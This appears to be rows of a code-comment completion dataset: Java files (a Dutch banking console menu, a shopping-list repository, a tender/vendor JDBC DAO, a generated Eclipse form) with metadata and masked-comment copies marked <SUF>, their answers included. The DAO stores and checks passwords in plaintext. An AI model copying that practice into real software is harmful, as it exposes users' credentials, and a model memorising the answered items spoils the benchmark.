public static void main(String[] args) {
while (nogNietEindeProgramma) {
Invoer invoer = showKeuzes();
}
}
private static Invoer showKeuzes() {
Scanner input = new Scanner(System.in);
System.out.println("1 Een nieuwe klant toevoegen ");
System.out.println("2 Een bestaande klant opvragen ");
System.out.println("3 Geld storten/opnemen op een bepaalde rekening ");
System.out.println("4 Geld overmaken naar een andere rekening ");
System.out.println("5 Nog een rekening openen van een bestaande klant ");
System.out.println("9 Einde ");
boolean DoeWAtinvoer = bank.toString().isEmpty();
String input_keuze = input.nextLine();
System.out.println("U heeft de volgende keuze gemaakt: " + input_keuze);
Invoer invoer = new Invoer();
switch (input_keuze) {
case "1":
/* Richard : Ipv<SUF>*/
bank.fillInitialPersonAndAccountDbase("12345", "Anne", LocalDate.of(1966, 12, 12));
bank.fillInitialPersonAndAccountDbase("98765", "Piet", LocalDate.of(1956, 11, 11));
break;
case "2":
System.out.println("Wat is het bsn nummer de klant");
String bsnNummerGezocht = (input.nextLine());
invoer.setBsn(bsnNummerGezocht);
Persoon persoon = bank.findPersoon(bsnNummerGezocht);
System.out.println("Dit is de opgevraagde klant " + persoon.getNaam() + " " + persoon.getGeboorteDatum());
for (int i = 0; i < persoon.getRekeningen().size(); i++) {
System.out.println("Rekeningnummer" + i + " is: " + persoon.getRekeningen().get(i).getRekeningNummer() + " saldo: " + persoon.getRekeningen().get(i).getSaldo() + " limiet: " + persoon.getRekeningen().get(i).getKredietLimiet());
}
break;
case "3":
bank.deposit("NLJAVA1000000003", 50);
bank.withdraw("NLJAVA1000000003", 20);
break;
case "4":
bank.transferMoney("NLJAVA1000000003", "NLJAVA1000000001", 25);
break;
case "5":
System.out.println("Wat is het bsn nummer de klant");
bsnNummerGezocht = (input.nextLine());
invoer.setBsn(bsnNummerGezocht);
Persoon persoonGezocht = bank.findPersoon(bsnNummerGezocht);
persoonGezocht.addRekening(bank.createRekening("spaar"));
break;
case "9":
nogNietEindeProgramma = false;
System.out.println("Prograama stopt");
break;
default:
System.out.println("U heeft een ongeldige keuze gemaakt");
}
return invoer;
}
}
|
118902_24 | package nl.aalten.mijnwinkelwagen.produkten;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.Persistence;
import javax.persistence.Query;
import nl.aalten.mijnwinkelwagen.domain.ProduktGroep;
import org.springframework.stereotype.Component;
@Component
public class Repository {
public static final String PERSISTENCE_UNIT_NAME = "mijnwinkelwagen";
public static final String SQL_FOR_PRODUKTGROEPEN = "SELECT pg from ProduktGroep pg";
public static final int BOODSCHAPPENLIJST_NR = 1;
private EntityManager em;
public Repository() {
System.out.println("Initializing repository....");
Map<Object,Object> map = new HashMap<Object,Object>();
EntityManagerFactory factory = Persistence.createEntityManagerFactory(PERSISTENCE_UNIT_NAME, map);
em = factory.createEntityManager();
}
public List<ProduktGroep> getProduktGroepen() {
Query query = em.createQuery(SQL_FOR_PRODUKTGROEPEN);
List<ProduktGroep> pgs = (List<ProduktGroep>) query.getResultList();
return pgs;
}
// public void toevoegenProduktAanBoodschappenlijst(Long produktId) {
// if (produktId != null) {
// Produkt produkt = getProdukt(produktId.intValue());
// Item item = new Item();
// item.setHoeveelheid(produkt.getEenheid().getDefaultHoeveelheid());
// item.setProduct(produkt);
// Boodschappenlijst boodschappenlijst = getBoodschappenLijst(BOODSCHAPPENLIJST_NR);
// boodschappenlijst.addItem(item);
// storeBoodschappenLijst(boodschappenlijst);
// return;
// }
// throw new RuntimeException("produktId can not be null");
// }
//
// private void storeBoodschappenLijst(Boodschappenlijst boodschappenlijst) {
// em.getTransaction().begin();
// em.merge(boodschappenlijst);
// em.getTransaction().commit();
// }
//
// public List<Item> verwijderProduktVanBoodschappenLijst(Long itemId) {
// Boodschappenlijst boodschappenlijst = getBoodschappenLijst(BOODSCHAPPENLIJST_NR);
// if (itemId != null) {
// for (Item item : boodschappenlijst.getItems()) {
// if (item.getId().equals(itemId)) {
// boodschappenlijst.getItems().remove(item);
// storeBoodschappenLijst(boodschappenlijst);
// break;
// }
// }
// }
// return getBoodschappenLijst(BOODSCHAPPENLIJST_NR).getItems();
// }
//
// public EenhedenLijst getEenheden() {
// return new EenhedenLijst(Eenheid.values());
// }
//
// public List<Produkt> getProdukten(Integer produktGroepId) {
// Query query = em.createQuery("SELECT produkt from Produkt produkt where produkt.produktGroep.id = :produktGroepId ");
// query.setParameter("produktGroepId", produktGroepId);
// return (List<Produkt>) query.getResultList();
// }
//
// public Produkt getProdukt(Integer produktId) {
// Query query = em.createQuery("SELECT produkt from Produkt produkt where produkt.id = :produktId");
// query.setParameter("produktId", produktId);
// return (Produkt) query.getSingleResult();
// }
//
// public Boodschappenlijst getBoodschappenLijst(Integer boodschappenlijst) {
// Query query = em.createQuery("SELECT boodschappenlijst from Boodschappenlijst boodschappenlijst where boodschappenlijst.id = :boodschappenlijst");
// query.setParameter("boodschappenlijst", boodschappenlijst);
// return (Boodschappenlijst) query.getSingleResult();
//
// }
//
// public List<Item> addUnit(Long itemId) {
// Boodschappenlijst boodschappenlijst = getBoodschappenLijst(BOODSCHAPPENLIJST_NR);
// boodschappenlijst.addUnit(itemId);
// storeBoodschappenLijst(boodschappenlijst);
// return getBoodschappenLijst(BOODSCHAPPENLIJST_NR).getItems();
// }
//
// public List<Item> subtractUnit(Long itemId) {
// Boodschappenlijst boodschappenlijst = getBoodschappenLijst(BOODSCHAPPENLIJST_NR);
// boodschappenlijst.subtractUnit(itemId);
// storeBoodschappenLijst(boodschappenlijst);
// return getBoodschappenLijst(BOODSCHAPPENLIJST_NR).getItems();
// }
//
// public void addNewProdukt(Produkt produkt) {
// em.getTransaction().begin();
// em.persist(produkt);
// em.getTransaction().commit();
// }
//
// public ProduktGroep getProduktGroep(Integer produktGroepId) {
// Query query = em.createQuery("SELECT produktGroep from ProduktGroep produktGroep where produktGroep.id = :produktGroepId");
// query.setParameter("produktGroepId", produktGroepId);
// return (ProduktGroep) query.getSingleResult();
// }
//
//
// public void removeAllProductsFromList(Integer boodschappenLijstId) {
// Boodschappenlijst boodschappenlijst = getBoodschappenLijst(boodschappenLijstId);
// boodschappenlijst.setItems(new ArrayList<Item>());
// storeBoodschappenLijst(boodschappenlijst);
// }
//
// public void updateProdukt(Integer produktId, Produkt changedProdukt) {
// Produkt produkt = getProdukt(produktId);
// produkt.setNaam(changedProdukt.getNaam());
// produkt.setEenheid(changedProdukt.getEenheid());
// em.getTransaction().begin();
// em.persist(produkt);
// em.getTransaction().commit();
// }
}
| mraalten/mijnwinkelwagen2.0 | src/main/java/nl/aalten/mijnwinkelwagen/produkten/Repository.java | 1,880 | // Boodschappenlijst boodschappenlijst = getBoodschappenLijst(BOODSCHAPPENLIJST_NR); | line_comment | nl | package nl.aalten.mijnwinkelwagen.produkten;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.Persistence;
import javax.persistence.Query;
import nl.aalten.mijnwinkelwagen.domain.ProduktGroep;
import org.springframework.stereotype.Component;
@Component
public class Repository {
public static final String PERSISTENCE_UNIT_NAME = "mijnwinkelwagen";
public static final String SQL_FOR_PRODUKTGROEPEN = "SELECT pg from ProduktGroep pg";
public static final int BOODSCHAPPENLIJST_NR = 1;
private EntityManager em;
public Repository() {
System.out.println("Initializing repository....");
Map<Object,Object> map = new HashMap<Object,Object>();
EntityManagerFactory factory = Persistence.createEntityManagerFactory(PERSISTENCE_UNIT_NAME, map);
em = factory.createEntityManager();
}
public List<ProduktGroep> getProduktGroepen() {
Query query = em.createQuery(SQL_FOR_PRODUKTGROEPEN);
List<ProduktGroep> pgs = (List<ProduktGroep>) query.getResultList();
return pgs;
}
// public void toevoegenProduktAanBoodschappenlijst(Long produktId) {
// if (produktId != null) {
// Produkt produkt = getProdukt(produktId.intValue());
// Item item = new Item();
// item.setHoeveelheid(produkt.getEenheid().getDefaultHoeveelheid());
// item.setProduct(produkt);
// Boodschappenlijst boodschappenlijst = getBoodschappenLijst(BOODSCHAPPENLIJST_NR);
// boodschappenlijst.addItem(item);
// storeBoodschappenLijst(boodschappenlijst);
// return;
// }
// throw new RuntimeException("produktId can not be null");
// }
//
// private void storeBoodschappenLijst(Boodschappenlijst boodschappenlijst) {
// em.getTransaction().begin();
// em.merge(boodschappenlijst);
// em.getTransaction().commit();
// }
//
// public List<Item> verwijderProduktVanBoodschappenLijst(Long itemId) {
// Boodschappenlijst boodschappenlijst = getBoodschappenLijst(BOODSCHAPPENLIJST_NR);
// if (itemId != null) {
// for (Item item : boodschappenlijst.getItems()) {
// if (item.getId().equals(itemId)) {
// boodschappenlijst.getItems().remove(item);
// storeBoodschappenLijst(boodschappenlijst);
// break;
// }
// }
// }
// return getBoodschappenLijst(BOODSCHAPPENLIJST_NR).getItems();
// }
//
// public EenhedenLijst getEenheden() {
// return new EenhedenLijst(Eenheid.values());
// }
//
// public List<Produkt> getProdukten(Integer produktGroepId) {
// Query query = em.createQuery("SELECT produkt from Produkt produkt where produkt.produktGroep.id = :produktGroepId ");
// query.setParameter("produktGroepId", produktGroepId);
// return (List<Produkt>) query.getResultList();
// }
//
// public Produkt getProdukt(Integer produktId) {
// Query query = em.createQuery("SELECT produkt from Produkt produkt where produkt.id = :produktId");
// query.setParameter("produktId", produktId);
// return (Produkt) query.getSingleResult();
// }
//
// public Boodschappenlijst getBoodschappenLijst(Integer boodschappenlijst) {
// Query query = em.createQuery("SELECT boodschappenlijst from Boodschappenlijst boodschappenlijst where boodschappenlijst.id = :boodschappenlijst");
// query.setParameter("boodschappenlijst", boodschappenlijst);
// return (Boodschappenlijst) query.getSingleResult();
//
// }
//
// public List<Item> addUnit(Long itemId) {
// Boodschappenlijst boodschappenlijst<SUF>
// boodschappenlijst.addUnit(itemId);
// storeBoodschappenLijst(boodschappenlijst);
// return getBoodschappenLijst(BOODSCHAPPENLIJST_NR).getItems();
// }
//
// public List<Item> subtractUnit(Long itemId) {
// Boodschappenlijst boodschappenlijst = getBoodschappenLijst(BOODSCHAPPENLIJST_NR);
// boodschappenlijst.subtractUnit(itemId);
// storeBoodschappenLijst(boodschappenlijst);
// return getBoodschappenLijst(BOODSCHAPPENLIJST_NR).getItems();
// }
//
// public void addNewProdukt(Produkt produkt) {
// em.getTransaction().begin();
// em.persist(produkt);
// em.getTransaction().commit();
// }
//
// public ProduktGroep getProduktGroep(Integer produktGroepId) {
// Query query = em.createQuery("SELECT produktGroep from ProduktGroep produktGroep where produktGroep.id = :produktGroepId");
// query.setParameter("produktGroepId", produktGroepId);
// return (ProduktGroep) query.getSingleResult();
// }
//
//
// public void removeAllProductsFromList(Integer boodschappenLijstId) {
// Boodschappenlijst boodschappenlijst = getBoodschappenLijst(boodschappenLijstId);
// boodschappenlijst.setItems(new ArrayList<Item>());
// storeBoodschappenLijst(boodschappenlijst);
// }
//
// public void updateProdukt(Integer produktId, Produkt changedProdukt) {
// Produkt produkt = getProdukt(produktId);
// produkt.setNaam(changedProdukt.getNaam());
// produkt.setEenheid(changedProdukt.getEenheid());
// em.getTransaction().begin();
// em.persist(produkt);
// em.getTransaction().commit();
// }
}
|
51927_5 | package com.project.dao;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import com.project.Bean.Admin;
import com.project.Bean.Tender;
import com.project.Bean.Vendor;
import com.project.exception.AdminException;
import com.project.exception.TenderException;
import com.project.exception.VendorException;
import com.project.utility.DBUtil;
public class TenderDaoImp implements TenderDao{
//======================================================admin Login==================================================================================
@Override
public String adminLogin(String email, String password) throws AdminException {
String admin="Admin Login failed";
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("select * from admin where admemail=? AND adminPass=?");
ps.setString(1, email);
ps.setString(2, password);
ResultSet rs=ps.executeQuery();
if(rs.next())
{
admin="Login Successful!";
}
else
{
throw new AdminException("Invalid email and password....");
}
} catch (SQLException e) {
throw new AdminException(e.getMessage());
}
return admin;
}
//================================VENDOR REGISTRATION============================================================
@Override
public String registerVendor(Vendor vendor) {
String message="Not Registered..";
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareCall("insert into vendor(vname,email,password,company,address) values(?,?,?,?,?)");
ps.setString(1,vendor.getVname());
ps.setString(2,vendor.getEmail());
ps.setString(3,vendor.getPassword());
ps.setString(4,vendor.getCompany());
ps.setString(5,vendor.getAddress());
int x=ps.executeUpdate();
if(x>0)
{
message="Vendor Registration Successful!!";
}
} catch (Exception e) {
message=e.getMessage();
}
return message;
}
//===================================================get All Vendor Detail=======================================================================
@Override
public List<Vendor> viewAllVendor() throws VendorException {
List<Vendor> vendorList=new ArrayList<>();
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("select * from vendor");
ResultSet rs=ps.executeQuery();
while(rs.next())
{
int vi=rs.getInt(1);
String n=rs.getString(2);
String e=rs.getString(3);
String p=rs.getString(4);
String c=rs.getString(5);
String a=rs.getString(6);
Vendor vendor=new Vendor(vi, n, e, p, c, a);
vendorList.add(vendor);
}
} catch (SQLException e) {
e.printStackTrace();
}
if(vendorList.size()==0)
{
throw new VendorException("No Vendor found...");
}
return vendorList;
}
//===================================================create New Tender===========================================================
@Override
public String createNewTender(Tender tender) throws TenderException {
String message="Not Created!";
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("insert into tender(tname,type,price,deadline,location) values(?,?,?,?,?)");
ps.setString(1,tender.getTname());
ps.setString(2,tender.getType());
ps.setInt(3,tender.getPrice());
ps.setString(4,tender.getDeadline());
ps.setString(5,tender.getLocation());
int x=ps.executeUpdate();
if(x>0)
{
message="Tender Created Successful!";
}
} catch (Exception e) {
message=e.getMessage();
}
return message;
}
//===============================viewAllTender=========================================================
public ArrayList<Tender> viewAllTender() {
ArrayList<Tender> list=new ArrayList<>();
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("select * from tender");
ResultSet rs=ps.executeQuery();
while(rs.next())
{
int vi=rs.getInt(1);
String n=rs.getString(2);
String e=rs.getString(3);
int p=rs.getInt(4);
String c=rs.getString(5);
String a=rs.getString(6);
Tender td = new Tender(vi, n, e, p, c, a);
list.add(td);
}
} catch (SQLException e) {
e.printStackTrace();
}
if(list.size()==0)
{
System.out.println("");
// throw new VendorException("No Vendor found...");
}
return list;
}
//=======================================================================================//
//=======================================Vendor Login ================================================================================
@Override
public String vendorLogin(String email, String password) throws VendorException {
String vendor=null;
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("select * from vendor where email=? AND password=?");
ps.setString(1, email);
ps.setString(2, password);
ResultSet rs=ps.executeQuery();
if(rs.next())
{
vendor= "Success";
}
else
{
throw new VendorException("Invalid email and password....");
}
} catch (SQLException e) {
throw new VendorException(e.getMessage());
}
return vendor;
}
//===============================================AssignTenderToVendor======================================================
@Override
public String AssignTenderToVendor(int tid, int vid) throws TenderException, VendorException {
String message="Tender Not Assigned!";
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("insert into ten_ven values(?,?)");
ps.setInt(1, tid);
ps.setInt(2, vid);
int x=ps.executeUpdate();
if(x>0)
{
message="Tender Assigned!";
}
} catch (SQLException e) {
e.printStackTrace();
throw new TenderException("Invalid Tender ID...");
}
return message;
}
//==================================================view All Tender==========================================================================================
// @Override
// public ArrayList<Tender> viewAllTender(int vid) {
//
// ArrayList<Tender> tenderlist=null;
//
//
// try (Connection con=DBUtil.provideConnection()){
//
// PreparedStatement ps=con.prepareCall("select t.* from tender t INNER JOIN ten_ven tv ON t.?=tv.?;");
//// ps.setInt(1, tid);
// ps.setInt(2, vid);
//
// ResultSet rs = ps.executeQuery();
//
// while(rs.next())
// {
//
// int i=rs.getInt(1);
// String n=rs.getString(2);
// String t=rs.getString(3);
// int p=rs.getInt(4);
// String d=rs.getString(5);
// String l=rs.getString(6);
//
// Tender tender=new Tender(i, n, t, p, d, l);
//
// tenderlist.add(tender);
// }
//
// }catch (Exception e) {
//// throw new TenderException(e.getMessage());
// e.printStackTrace();
// }
//
//
// if(tenderlist.size()==0)
// {
//// throw new TenderException("No Tender found...");
// }
//
//
//
// return tenderlist;
// }
//============================================BID ON TENDER ============================================================================
@Override
public String BidOnTender(int tid,int vid,int bid) {
String message="BID FAILED !";
// int id=GetTenderId(type);
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("insert into bid values(?,?,?)");
ps.setInt(1,tid);
ps.setInt(2,vid);
ps.setInt(3, bid);
int x=ps.executeUpdate();
if(x>0)
{
message="Bid is register";
}
} catch (Exception e) {
e.printStackTrace();
}
return message;
}
@Override
public int GetTenderId(String type) {
int id=0;
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("select tid from tender where type=?");
ps.setString(1, type);
ResultSet rs=ps.executeQuery();
if(rs.next())
{
id=rs.getInt(1);
}
} catch (Exception e) {
e.printStackTrace();
}
return id;
}
//============================================================================================================================================
@Override
public int getVidByBid() {
int vid=0;
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("select v1id from bid where bid=(select min(bid) from bid)");
ResultSet rs=ps.executeQuery();
if(rs.next())
{
vid=rs.getInt("v1id");
}
} catch (Exception e) {
// TODO: handle exception
}
return vid;
}
//==============================================================================
}
| mramankr97/sharp-invention-5151 | mini project/src/com/project/dao/TenderDaoImp.java | 3,190 | //=======================================Vendor Login ================================================================================
| line_comment | nl | package com.project.dao;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import com.project.Bean.Admin;
import com.project.Bean.Tender;
import com.project.Bean.Vendor;
import com.project.exception.AdminException;
import com.project.exception.TenderException;
import com.project.exception.VendorException;
import com.project.utility.DBUtil;
public class TenderDaoImp implements TenderDao{
//======================================================admin Login==================================================================================
@Override
public String adminLogin(String email, String password) throws AdminException {
String admin="Admin Login failed";
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("select * from admin where admemail=? AND adminPass=?");
ps.setString(1, email);
ps.setString(2, password);
ResultSet rs=ps.executeQuery();
if(rs.next())
{
admin="Login Successful!";
}
else
{
throw new AdminException("Invalid email and password....");
}
} catch (SQLException e) {
throw new AdminException(e.getMessage());
}
return admin;
}
//================================VENDOR REGISTRATION============================================================
@Override
public String registerVendor(Vendor vendor) {
String message="Not Registered..";
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareCall("insert into vendor(vname,email,password,company,address) values(?,?,?,?,?)");
ps.setString(1,vendor.getVname());
ps.setString(2,vendor.getEmail());
ps.setString(3,vendor.getPassword());
ps.setString(4,vendor.getCompany());
ps.setString(5,vendor.getAddress());
int x=ps.executeUpdate();
if(x>0)
{
message="Vendor Registration Successful!!";
}
} catch (Exception e) {
message=e.getMessage();
}
return message;
}
//===================================================get All Vendor Detail=======================================================================
@Override
public List<Vendor> viewAllVendor() throws VendorException {
List<Vendor> vendorList=new ArrayList<>();
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("select * from vendor");
ResultSet rs=ps.executeQuery();
while(rs.next())
{
int vi=rs.getInt(1);
String n=rs.getString(2);
String e=rs.getString(3);
String p=rs.getString(4);
String c=rs.getString(5);
String a=rs.getString(6);
Vendor vendor=new Vendor(vi, n, e, p, c, a);
vendorList.add(vendor);
}
} catch (SQLException e) {
e.printStackTrace();
}
if(vendorList.size()==0)
{
throw new VendorException("No Vendor found...");
}
return vendorList;
}
//===================================================create New Tender===========================================================
@Override
public String createNewTender(Tender tender) throws TenderException {
String message="Not Created!";
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("insert into tender(tname,type,price,deadline,location) values(?,?,?,?,?)");
ps.setString(1,tender.getTname());
ps.setString(2,tender.getType());
ps.setInt(3,tender.getPrice());
ps.setString(4,tender.getDeadline());
ps.setString(5,tender.getLocation());
int x=ps.executeUpdate();
if(x>0)
{
message="Tender Created Successful!";
}
} catch (Exception e) {
message=e.getMessage();
}
return message;
}
//===============================viewAllTender=========================================================
public ArrayList<Tender> viewAllTender() {
ArrayList<Tender> list=new ArrayList<>();
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("select * from tender");
ResultSet rs=ps.executeQuery();
while(rs.next())
{
int vi=rs.getInt(1);
String n=rs.getString(2);
String e=rs.getString(3);
int p=rs.getInt(4);
String c=rs.getString(5);
String a=rs.getString(6);
Tender td = new Tender(vi, n, e, p, c, a);
list.add(td);
}
} catch (SQLException e) {
e.printStackTrace();
}
if(list.size()==0)
{
System.out.println("");
// throw new VendorException("No Vendor found...");
}
return list;
}
//=======================================================================================//
//=======================================Vendor Login<SUF>
@Override
public String vendorLogin(String email, String password) throws VendorException {
String vendor=null;
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("select * from vendor where email=? AND password=?");
ps.setString(1, email);
ps.setString(2, password);
ResultSet rs=ps.executeQuery();
if(rs.next())
{
vendor= "Success";
}
else
{
throw new VendorException("Invalid email and password....");
}
} catch (SQLException e) {
throw new VendorException(e.getMessage());
}
return vendor;
}
//===============================================AssignTenderToVendor======================================================
@Override
public String AssignTenderToVendor(int tid, int vid) throws TenderException, VendorException {
String message="Tender Not Assigned!";
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("insert into ten_ven values(?,?)");
ps.setInt(1, tid);
ps.setInt(2, vid);
int x=ps.executeUpdate();
if(x>0)
{
message="Tender Assigned!";
}
} catch (SQLException e) {
e.printStackTrace();
throw new TenderException("Invalid Tender ID...");
}
return message;
}
//==================================================view All Tender==========================================================================================
// @Override
// public ArrayList<Tender> viewAllTender(int vid) {
//
// ArrayList<Tender> tenderlist=null;
//
//
// try (Connection con=DBUtil.provideConnection()){
//
// PreparedStatement ps=con.prepareCall("select t.* from tender t INNER JOIN ten_ven tv ON t.?=tv.?;");
//// ps.setInt(1, tid);
// ps.setInt(2, vid);
//
// ResultSet rs = ps.executeQuery();
//
// while(rs.next())
// {
//
// int i=rs.getInt(1);
// String n=rs.getString(2);
// String t=rs.getString(3);
// int p=rs.getInt(4);
// String d=rs.getString(5);
// String l=rs.getString(6);
//
// Tender tender=new Tender(i, n, t, p, d, l);
//
// tenderlist.add(tender);
// }
//
// }catch (Exception e) {
//// throw new TenderException(e.getMessage());
// e.printStackTrace();
// }
//
//
// if(tenderlist.size()==0)
// {
//// throw new TenderException("No Tender found...");
// }
//
//
//
// return tenderlist;
// }
//============================================BID ON TENDER ============================================================================
@Override
public String BidOnTender(int tid,int vid,int bid) {
String message="BID FAILED !";
// int id=GetTenderId(type);
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("insert into bid values(?,?,?)");
ps.setInt(1,tid);
ps.setInt(2,vid);
ps.setInt(3, bid);
int x=ps.executeUpdate();
if(x>0)
{
message="Bid is register";
}
} catch (Exception e) {
e.printStackTrace();
}
return message;
}
@Override
public int GetTenderId(String type) {
int id=0;
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("select tid from tender where type=?");
ps.setString(1, type);
ResultSet rs=ps.executeQuery();
if(rs.next())
{
id=rs.getInt(1);
}
} catch (Exception e) {
e.printStackTrace();
}
return id;
}
//============================================================================================================================================
@Override
public int getVidByBid() {
int vid=0;
try (Connection con=DBUtil.provideConnection()){
PreparedStatement ps=con.prepareStatement("select v1id from bid where bid=(select min(bid) from bid)");
ResultSet rs=ps.executeQuery();
if(rs.next())
{
vid=rs.getInt("v1id");
}
} catch (Exception e) {
// TODO: handle exception
}
return vid;
}
//==============================================================================
}
|
197140_13 | /**
* Generated with Acceleo
*/
package net.certware.argument.aml.parts.forms;
// Start of user code for imports
import net.certware.argument.aml.parts.AmlViewsRepository;
import net.certware.argument.aml.parts.BeliefPropertiesEditionPart;
import net.certware.argument.aml.providers.AmlMessages;
import org.eclipse.emf.eef.runtime.api.component.IPropertiesEditionComponent;
import org.eclipse.emf.eef.runtime.api.notify.IPropertiesEditionEvent;
import org.eclipse.emf.eef.runtime.api.parts.IFormPropertiesEditionPart;
import org.eclipse.emf.eef.runtime.impl.notify.PropertiesEditionEvent;
import org.eclipse.emf.eef.runtime.impl.parts.CompositePropertiesEditionPart;
import org.eclipse.emf.eef.runtime.ui.parts.PartComposer;
import org.eclipse.emf.eef.runtime.ui.parts.sequence.BindingCompositionSequence;
import org.eclipse.emf.eef.runtime.ui.parts.sequence.CompositionSequence;
import org.eclipse.emf.eef.runtime.ui.parts.sequence.CompositionStep;
import org.eclipse.emf.eef.runtime.ui.utils.EditingUtils;
import org.eclipse.emf.eef.runtime.ui.widgets.FormUtils;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.FocusAdapter;
import org.eclipse.swt.events.FocusEvent;
import org.eclipse.swt.events.KeyAdapter;
import org.eclipse.swt.events.KeyEvent;
import org.eclipse.swt.layout.GridData;
import org.eclipse.swt.layout.GridLayout;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Text;
import org.eclipse.ui.forms.widgets.Form;
import org.eclipse.ui.forms.widgets.FormToolkit;
import org.eclipse.ui.forms.widgets.ScrolledForm;
import org.eclipse.ui.forms.widgets.Section;
// End of user code
/**
*
*
*/
public class BeliefPropertiesEditionPartForm extends CompositePropertiesEditionPart implements IFormPropertiesEditionPart, BeliefPropertiesEditionPart {
protected Text description;
protected Text label;
protected Text ordinal;
protected Text symbol;
/**
* Default constructor
* @param editionComponent the {@link IPropertiesEditionComponent} that manage this part
*
*/
public BeliefPropertiesEditionPartForm(IPropertiesEditionComponent editionComponent) {
super(editionComponent);
}
/**
* {@inheritDoc}
*
* @see org.eclipse.emf.eef.runtime.api.parts.IFormPropertiesEditionPart#
* createFigure(org.eclipse.swt.widgets.Composite, org.eclipse.ui.forms.widgets.FormToolkit)
*
*/
public Composite createFigure(final Composite parent, final FormToolkit widgetFactory) {
ScrolledForm scrolledForm = widgetFactory.createScrolledForm(parent);
Form form = scrolledForm.getForm();
view = form.getBody();
GridLayout layout = new GridLayout();
layout.numColumns = 3;
view.setLayout(layout);
createControls(widgetFactory, view);
return scrolledForm;
}
/**
* {@inheritDoc}
*
* @see org.eclipse.emf.eef.runtime.api.parts.IFormPropertiesEditionPart#
* createControls(org.eclipse.ui.forms.widgets.FormToolkit, org.eclipse.swt.widgets.Composite)
*
*/
public void createControls(final FormToolkit widgetFactory, Composite view) {
CompositionSequence beliefStep = new BindingCompositionSequence(propertiesEditionComponent);
CompositionStep propertiesStep = beliefStep.addStep(AmlViewsRepository.Belief.Properties.class);
propertiesStep.addStep(AmlViewsRepository.Belief.Properties.description);
propertiesStep.addStep(AmlViewsRepository.Belief.Properties.label);
propertiesStep.addStep(AmlViewsRepository.Belief.Properties.ordinal);
propertiesStep.addStep(AmlViewsRepository.Belief.Properties.symbol);
composer = new PartComposer(beliefStep) {
@Override
public Composite addToPart(Composite parent, Object key) {
if (key == AmlViewsRepository.Belief.Properties.class) {
return createPropertiesGroup(widgetFactory, parent);
}
if (key == AmlViewsRepository.Belief.Properties.description) {
return createDescriptionText(widgetFactory, parent);
}
if (key == AmlViewsRepository.Belief.Properties.label) {
return createLabelText(widgetFactory, parent);
}
if (key == AmlViewsRepository.Belief.Properties.ordinal) {
return createOrdinalText(widgetFactory, parent);
}
if (key == AmlViewsRepository.Belief.Properties.symbol) {
return createSymbolText(widgetFactory, parent);
}
return parent;
}
};
composer.compose(view);
}
/**
*
*/
protected Composite createPropertiesGroup(FormToolkit widgetFactory, final Composite parent) {
Section propertiesSection = widgetFactory.createSection(parent, Section.TITLE_BAR | Section.TWISTIE | Section.EXPANDED);
propertiesSection.setText(AmlMessages.BeliefPropertiesEditionPart_PropertiesGroupLabel);
GridData propertiesSectionData = new GridData(GridData.FILL_HORIZONTAL);
propertiesSectionData.horizontalSpan = 3;
propertiesSection.setLayoutData(propertiesSectionData);
Composite propertiesGroup = widgetFactory.createComposite(propertiesSection);
GridLayout propertiesGroupLayout = new GridLayout();
propertiesGroupLayout.numColumns = 3;
propertiesGroup.setLayout(propertiesGroupLayout);
propertiesSection.setClient(propertiesGroup);
return propertiesGroup;
}
protected Composite createDescriptionText(FormToolkit widgetFactory, Composite parent) {
FormUtils.createPartLabel(widgetFactory, parent, AmlMessages.BeliefPropertiesEditionPart_DescriptionLabel, propertiesEditionComponent.isRequired(AmlViewsRepository.Belief.Properties.description, AmlViewsRepository.FORM_KIND));
description = widgetFactory.createText(parent, ""); //$NON-NLS-1$
description.setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER);
widgetFactory.paintBordersFor(parent);
GridData descriptionData = new GridData(GridData.FILL_HORIZONTAL);
description.setLayoutData(descriptionData);
description.addFocusListener(new FocusAdapter() {
/**
* @see org.eclipse.swt.events.FocusAdapter#focusLost(org.eclipse.swt.events.FocusEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void focusLost(FocusEvent e) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.description, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, description.getText()));
}
});
description.addKeyListener(new KeyAdapter() {
/**
* @see org.eclipse.swt.events.KeyAdapter#keyPressed(org.eclipse.swt.events.KeyEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void keyPressed(KeyEvent e) {
if (e.character == SWT.CR) {
if (propertiesEditionComponent != null)
